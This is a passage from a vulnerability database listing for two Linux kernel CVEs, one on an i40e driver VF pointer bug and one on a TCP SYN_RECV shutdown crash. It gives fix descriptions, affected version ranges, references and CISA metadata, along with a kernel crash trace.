    "dateUpdated": "2026-05-12T12:03:04.537Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-36020 (GCVE-0-2024-36020)

Vulnerability from cvelistv5 – Published: 2024-05-30 14:59 – Updated: 2026-05-12 11:53

Title

i40e: fix vf may be used uninitialized in this function warning

Summary

In the Linux kernel, the following vulnerability has been resolved: i40e: fix vf may be used uninitialized in this function warning To fix the regression introduced by commit 52424f974bc5, which causes servers hang in very hard to reproduce conditions with resets races. Using two sources for the information is the root cause. In this function before the fix bumping v didn't mean bumping vf pointer. But the code used this variables interchangeably, so stale vf could point to different/not intended vf. Remove redundant "v" variable and iterate via single VF pointer across whole function instead to guarantee VF pointer validity.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/cc9cd02dd9e8b7764…
https://git.kernel.org/stable/c/9dcf0fcb80f6aeb01…
https://git.kernel.org/stable/c/b8e82128b44fa40bf…
https://git.kernel.org/stable/c/951d2748a2a824285…
https://git.kernel.org/stable/c/3e89846283f3cf7c7…
https://git.kernel.org/stable/c/0dcf573f997732702…
https://git.kernel.org/stable/c/06df7618f591b2dc4…
https://git.kernel.org/stable/c/f37c4eac99c258111…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 76ed715836c6994bac29d9638e9314e6e3b08651 , < cc9cd02dd9e8b7764ea9effb24f4f1dd73d1b23d (git) Affected: e88c2a1e28c5475065563d66c07ca879a9afbd07 , < 9dcf0fcb80f6aeb01469e3c957f8d4c97365450a (git) Affected: 9abae363af5ced6adbf04c14366289540281fb26 , < b8e82128b44fa40bf99a50b919488ef361e1683c (git) Affected: c39de3ae5075ea5f78e097cb5720d4e52d5caed9 , < 951d2748a2a8242853abc3d0c153ce4bf8faad31 (git) Affected: 52424f974bc53c26ba3f00300a00e9de9afcd972 , < 3e89846283f3cf7c7a8e28b342576fd7c561d2ba (git) Affected: 52424f974bc53c26ba3f00300a00e9de9afcd972 , < 0dcf573f997732702917af1563aa2493dc772fc0 (git) Affected: 52424f974bc53c26ba3f00300a00e9de9afcd972 , < 06df7618f591b2dc43c59967e294d7b9fc8675b6 (git) Affected: 52424f974bc53c26ba3f00300a00e9de9afcd972 , < f37c4eac99c258111d414d31b740437e1925b8e8 (git) Affected: 02f949747e6fb767b29f7931d4bbf40911684e7a (git)
Linux	Linux	Affected: 6.1 Unaffected: 0 , < 6.1 (semver) Unaffected: 4.19.312 , ≤ 4.19.* (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.85 , ≤ 6.1.* (semver) Unaffected: 6.6.26 , ≤ 6.6.* (semver) Unaffected: 6.8.5 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-36020",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-03T16:54:29.774868Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:48:10.052Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:30:12.504Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/cc9cd02dd9e8b7764ea9effb24f4f1dd73d1b23d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9dcf0fcb80f6aeb01469e3c957f8d4c97365450a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b8e82128b44fa40bf99a50b919488ef361e1683c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/951d2748a2a8242853abc3d0c153ce4bf8faad31"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3e89846283f3cf7c7a8e28b342576fd7c561d2ba"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0dcf573f997732702917af1563aa2493dc772fc0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/06df7618f591b2dc43c59967e294d7b9fc8675b6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f37c4eac99c258111d414d31b740437e1925b8e8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:39.635Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/intel/i40e/i40e_virtchnl_pf.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "cc9cd02dd9e8b7764ea9effb24f4f1dd73d1b23d",
              "status": "affected",
              "version": "76ed715836c6994bac29d9638e9314e6e3b08651",
              "versionType": "git"
            },
            {
              "lessThan": "9dcf0fcb80f6aeb01469e3c957f8d4c97365450a",
              "status": "affected",
              "version": "e88c2a1e28c5475065563d66c07ca879a9afbd07",
              "versionType": "git"
            },
            {
              "lessThan": "b8e82128b44fa40bf99a50b919488ef361e1683c",
              "status": "affected",
              "version": "9abae363af5ced6adbf04c14366289540281fb26",
              "versionType": "git"
            },
            {
              "lessThan": "951d2748a2a8242853abc3d0c153ce4bf8faad31",
              "status": "affected",
              "version": "c39de3ae5075ea5f78e097cb5720d4e52d5caed9",
              "versionType": "git"
            },
            {
              "lessThan": "3e89846283f3cf7c7a8e28b342576fd7c561d2ba",
              "status": "affected",
              "version": "52424f974bc53c26ba3f00300a00e9de9afcd972",
              "versionType": "git"
            },
            {
              "lessThan": "0dcf573f997732702917af1563aa2493dc772fc0",
              "status": "affected",
              "version": "52424f974bc53c26ba3f00300a00e9de9afcd972",
              "versionType": "git"
            },
            {
              "lessThan": "06df7618f591b2dc43c59967e294d7b9fc8675b6",
              "status": "affected",
              "version": "52424f974bc53c26ba3f00300a00e9de9afcd972",
              "versionType": "git"
            },
            {
              "lessThan": "f37c4eac99c258111d414d31b740437e1925b8e8",
              "status": "affected",
              "version": "52424f974bc53c26ba3f00300a00e9de9afcd972",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "02f949747e6fb767b29f7931d4bbf40911684e7a",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/intel/i40e/i40e_virtchnl_pf.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.1"
            },
            {
              "lessThan": "6.1",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.312",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.85",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.26",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.312",
                  "versionStartIncluding": "4.19.264",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "5.4.223",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "5.10.153",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "5.15.77",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.85",
                  "versionStartIncluding": "6.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.26",
                  "versionStartIncluding": "6.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.5",
                  "versionStartIncluding": "6.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "6.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.0.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ni40e: fix vf may be used uninitialized in this function warning\n\nTo fix the regression introduced by commit 52424f974bc5, which causes\nservers hang in very hard to reproduce conditions with resets races.\nUsing two sources for the information is the root cause.\nIn this function before the fix bumping v didn\u0027t mean bumping vf\npointer. But the code used this variables interchangeably, so stale vf\ncould point to different/not intended vf.\n\nRemove redundant \"v\" variable and iterate via single VF pointer across\nwhole function instead to guarantee VF pointer validity."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:15:46.827Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/cc9cd02dd9e8b7764ea9effb24f4f1dd73d1b23d"
        },
        {
          "url": "https://git.kernel.org/stable/c/9dcf0fcb80f6aeb01469e3c957f8d4c97365450a"
        },
        {
          "url": "https://git.kernel.org/stable/c/b8e82128b44fa40bf99a50b919488ef361e1683c"
        },
        {
          "url": "https://git.kernel.org/stable/c/951d2748a2a8242853abc3d0c153ce4bf8faad31"
        },
        {
          "url": "https://git.kernel.org/stable/c/3e89846283f3cf7c7a8e28b342576fd7c561d2ba"
        },
        {
          "url": "https://git.kernel.org/stable/c/0dcf573f997732702917af1563aa2493dc772fc0"
        },
        {
          "url": "https://git.kernel.org/stable/c/06df7618f591b2dc43c59967e294d7b9fc8675b6"
        },
        {
          "url": "https://git.kernel.org/stable/c/f37c4eac99c258111d414d31b740437e1925b8e8"
        }
      ],
      "title": "i40e: fix vf may be used uninitialized in this function warning",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-36020",
    "datePublished": "2024-05-30T14:59:44.447Z",
    "dateReserved": "2024-05-17T13:50:33.157Z",
    "dateUpdated": "2026-05-12T11:53:39.635Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-36905 (GCVE-0-2024-36905)

Vulnerability from cvelistv5 – Published: 2024-05-30 15:29 – Updated: 2026-05-12 11:54

Title

tcp: defer shutdown(SEND_SHUTDOWN) for TCP_SYN_RECV sockets

Summary

In the Linux kernel, the following vulnerability has been resolved: tcp: defer shutdown(SEND_SHUTDOWN) for TCP_SYN_RECV sockets TCP_SYN_RECV state is really special, it is only used by cross-syn connections, mostly used by fuzzers. In the following crash [1], syzbot managed to trigger a divide by zero in tcp_rcv_space_adjust() A socket makes the following state transitions, without ever calling tcp_init_transfer(), meaning tcp_init_buffer_space() is also not called. TCP_CLOSE connect() TCP_SYN_SENT TCP_SYN_RECV shutdown() -> tcp_shutdown(sk, SEND_SHUTDOWN) TCP_FIN_WAIT1 To fix this issue, change tcp_shutdown() to not perform a TCP_SYN_RECV -> TCP_FIN_WAIT1 transition, which makes no sense anyway. When tcp_rcv_state_process() later changes socket state from TCP_SYN_RECV to TCP_ESTABLISH, then look at sk->sk_shutdown to finally enter TCP_FIN_WAIT1 state, and send a FIN packet from a sane socket state. This means tcp_send_fin() can now be called from BH context, and must use GFP_ATOMIC allocations. [1] divide error: 0000 [#1] PREEMPT SMP KASAN NOPTI CPU: 1 PID: 5084 Comm: syz-executor358 Not tainted 6.9.0-rc6-syzkaller-00022-g98369dccd2f8 #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 03/27/2024 RIP: 0010:tcp_rcv_space_adjust+0x2df/0x890 net/ipv4/tcp_input.c:767 Code: e3 04 4c 01 eb 48 8b 44 24 38 0f b6 04 10 84 c0 49 89 d5 0f 85 a5 03 00 00 41 8b 8e c8 09 00 00 89 e8 29 c8 48 0f af c3 31 d2 <48> f7 f1 48 8d 1c 43 49 8d 96 76 08 00 00 48 89 d0 48 c1 e8 03 48 RSP: 0018:ffffc900031ef3f0 EFLAGS: 00010246 RAX: 0c677a10441f8f42 RBX: 000000004fb95e7e RCX: 0000000000000000 RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000 RBP: 0000000027d4b11f R08: ffffffff89e535a4 R09: 1ffffffff25e6ab7 R10: dffffc0000000000 R11: ffffffff8135e920 R12: ffff88802a9f8d30 R13: dffffc0000000000 R14: ffff88802a9f8d00 R15: 1ffff1100553f2da FS: 00005555775c0380(0000) GS:ffff8880b9500000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f1155bf2304 CR3: 000000002b9f2000 CR4: 0000000000350ef0 Call Trace: <TASK> tcp_recvmsg_locked+0x106d/0x25a0 net/ipv4/tcp.c:2513 tcp_recvmsg+0x25d/0x920 net/ipv4/tcp.c:2578 inet6_recvmsg+0x16a/0x730 net/ipv6/af_inet6.c:680 sock_recvmsg_nosec net/socket.c:1046 [inline] sock_recvmsg+0x109/0x280 net/socket.c:1068 ____sys_recvmsg+0x1db/0x470 net/socket.c:2803 ___sys_recvmsg net/socket.c:2845 [inline] do_recvmmsg+0x474/0xae0 net/socket.c:2939 __sys_recvmmsg net/socket.c:3018 [inline] __do_sys_recvmmsg net/socket.c:3041 [inline] __se_sys_recvmmsg net/socket.c:3034 [inline] __x64_sys_recvmmsg+0x199/0x250 net/socket.c:3034 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf5/0x240 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7faeb6363db9 Code: 28 00 00 00 75 05 48 83 c4 28 c3 e8 c1 17 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007ffcc1997168 EFLAGS: 00000246 ORIG_RAX: 000000000000012b RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007faeb6363db9 RDX: 0000000000000001 RSI: 0000000020000bc0 RDI: 0000000000000005 RBP: 0000000000000000 R08: 0000000000000000 R09: 000000000000001c R10: 0000000000000122 R11: 0000000000000246 R12: 0000000000000000 R13: 0000000000000000 R14: 0000000000000001 R15: 0000000000000001

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/34e41a031fd7523bf…
https://git.kernel.org/stable/c/ed5e279b69e007ce6…
https://git.kernel.org/stable/c/413c33b9f3bc36fdf…
https://git.kernel.org/stable/c/2552c9d9440f8e7a2…
https://git.kernel.org/stable/c/3fe4ef0568a48369b…
https://git.kernel.org/stable/c/f47d0d32fa94e815f…
https://git.kernel.org/stable/c/cbf232ba11bc86a52…
https://git.kernel.org/stable/c/94062790aedb505bd…
https://www.openwall.com/lists/oss-security/2024/…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 34e41a031fd7523bf1cd00a2adca2370aebea270 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < ed5e279b69e007ce6c0fe82a5a534c1b19783214 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 413c33b9f3bc36fdf719690a78824db9f88a9485 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 2552c9d9440f8e7a2ed0660911ff00f25b90a0a4 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 3fe4ef0568a48369b1891395d13ac593b1ba41b1 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < f47d0d32fa94e815fdd78b8b88684873e67939f4 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < cbf232ba11bc86a5281b4f00e1151349ef4d45cf (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 94062790aedb505bdda209b10bea47b294d6394f (git)
Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 4.19.314 , ≤ 4.19.* (semver) Unaffected: 5.4.276 , ≤ 5.4.* (semver) Unaffected: 5.10.217 , ≤ 5.10.* (semver) Unaffected: 5.15.159 , ≤ 5.15.* (semver) Unaffected: 6.1.91 , ≤ 6.1.* (semver) Unaffected: 6.6.31 , ≤ 6.6.* (semver) Unaffected: 6.8.10 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "34e41a031fd7",
                "status": "affected",
                "version": "1da177e4c3f4",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "ed5e279b69e0",
                "status": "affected",
                "version": "1da177e4c3f4",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "413c33b9f3bc",
                "status": "affected",
                "version": "1da177e4c3f4",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "affected",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "2552c9d9440f",
                "status": "affected",
                "version": "1da177e4c3f",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "3fe4ef0568a4",
                "status": "affected",
                "version": "1da177e4c3f4",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "f47d0d32fa94",
                "status": "affected",
                "version": "1da177e4c3f4",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "cbf232ba11bc",
                "status": "affected",
                "version": "1da177e4c3f4",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "94062790aedb",
                "status": "affected",
                "version": "1da177e4c3f4",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "4.20",
                "status": "unaffected",
                "version": "4.19.314",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "5.11",
                "status": "unaffected",
                "version": "5.10.217",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "5.16",
                "status": "unaffected",
                "version": "5.15.159",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "6.2",
                "status": "unaffected",
                "version": "6.1.91",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "6.7",
                "status": "unaffected",
                "version": "6.6.31",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "unaffected",
                "version": "6.9"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "2.6.12",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:2.6.12:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "affected",
                "version": "2.6.12"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "5.5",
                "status": "unaffected",
                "version": "5.4.276",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "6.9",
                "status": "unaffected",
                "version": "6.8.10",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-36905",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-11-19T18:00:22.813648Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-01-14T16:43:30.740Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "url": "https://github.com/cisagov/vulnrichment/issues/130"
          },
          {
            "url": "https://www.openwall.com/lists/oss-security/2024/11/12/4"
          },
          {
            "url": "https://alas.aws.amazon.com/cve/html/CVE-2024-36905.html"
          },
          {
            "url": "https://access.redhat.com/security/cve/cve-2024-36905"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-11-12T19:02:41.493Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/34e41a031fd7523bf1cd00a2adca2370aebea270"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ed5e279b69e007ce6c0fe82a5a534c1b19783214"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/413c33b9f3bc36fdf719690a78824db9f88a9485"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2552c9d9440f8e7a2ed0660911ff00f25b90a0a4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3fe4ef0568a48369b1891395d13ac593b1ba41b1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f47d0d32fa94e815fdd78b8b88684873e67939f4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/cbf232ba11bc86a5281b4f00e1151349ef4d45cf"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/94062790aedb505bdda209b10bea47b294d6394f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00019.html"
          },
          {
            "url": "https://security.netapp.com/advisory/ntap-20240905-0005/"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2024/10/29/1"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2024/10/30/1"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2024/11/12/4"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2024/11/12/5"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2024/11/12/6"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
